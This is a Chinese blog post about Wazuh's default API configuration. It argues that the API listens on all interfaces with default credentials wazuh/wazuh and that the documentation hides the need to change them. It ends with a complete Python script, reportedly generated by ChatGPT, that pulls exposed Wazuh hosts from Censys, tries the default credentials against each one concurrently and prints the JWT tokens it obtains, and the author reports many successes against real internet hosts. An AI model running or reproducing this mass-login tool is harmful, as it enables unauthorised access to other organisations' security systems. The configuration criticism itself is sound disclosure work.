前言
使用Quickstart方式安装Wazuh后,默认情况下wazuh会生成一个随机的ADMIN_PASSWORD
用于提供给用户登录,此密码强度极高,基本难以暴力破解。
INFO: --- Summary ---
INFO: You can access the web interface https://<wazuh-dashboard-ip>
User: admin
Password: <ADMIN_PASSWORD>
INFO: Installation finished.
但同时,Wazuh支持API模块,且API模块的默认配置个人存在一定的不合理性,从而导致安装完成后存在被利用的可能。
问题点
关于API部分,官方文档描述如下(文档链接):
从文档中可以看到,默认情况下使用自签名证书,且使用wazuh/wazuh的用户名密码进行登录,并非与Web界面的认证密码一致,那如果同时Wazuh API的端口暴露在互联网上或攻击者已经进入企业内网,则可以尝试使用该凭据尝试进行登录。
尝试验证
首先在本地搭建一个wazuh的服务,并访问API接口,获取到wazuh的自签名证书信息:
从证书信息中可以获取到证书的Common Name
,使用该参数便可在互联网上找到使用同样证书的服务。当然也可以直接使用端口的指纹或直接55000去zoomeye,shodan这种引擎搜索后过滤。
那知道怎么搜索以及怎么登录后,剩下就是写代码验证了,为了图方便,我这里直接使用chatGPT生成相关代码。
代码成功运行后可以看到,可以成功获取jwt_token
的wazuh系统的比例非常高,这也侧面说明了这个wazuh api的默认配置并非十分合理。
后记
其实在Wazuh的API界面有一个Secure API
的说明,但在页面上主要体现的是:To configure the certificates, use the following guide Securing API
只有在解释的内页才提示应该修改默认的API口令,并用红色背景重点提示。
API的用户修改密码需要用API的方式登录后进行修改,不用API的用户也许永远不知道还有这么一个地方的用户密码需要修改,且默认情况下API监听0.0.0.0
地址,这实在不是一个好的设计逻辑。
附代码
import httpx
import asyncio
async def main():
# 设置请求头,可根据需要自行修改
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
'Accept': 'application/json',
'Authorization': 'Basic REPLACE_YOURS'
}
# 发送GET请求
url = "https://search.censys.io/api/v2/hosts/search?virtual_hosts=EXCLUDE&q=%28services.tls.certificates.leaf_data.issuer.common_name%3Dwazuh.com%29+and+services.port%3D%6055000%60"
response = httpx.get(url, headers=headers)
# 处理响应数据
if response.status_code == 200:
json_data = response.json()
hits = json_data.get("result", {}).get("hits", [])
urls = []
for hit in hits:
ip = hit.get("ip")
if ip:
url = f"https://{ip}:55000/security/user/authenticate?raw=true"
urls.append(url)
# 并发访问所有的url
async def get_url(url, auth):
async with httpx.AsyncClient(auth=auth, verify=False) as client:
return await client.get(url)
auth = httpx.BasicAuth("wazuh", "wazuh")
tasks = [get_url(url, auth) for url in urls]
responses = await asyncio.gather(*tasks)
# 输出结果
for i, response in enumerate(responses):
if response.status_code == 200:
print(f"{hits[i]['ip']} - {response.text}")
else:
print(f"{hits[i]['ip']} - {response.status_code}")
else:
print(f"请求失败,状态码为:{response.status_code}")
# 运行入口点
asyncio.run(main())
发表回复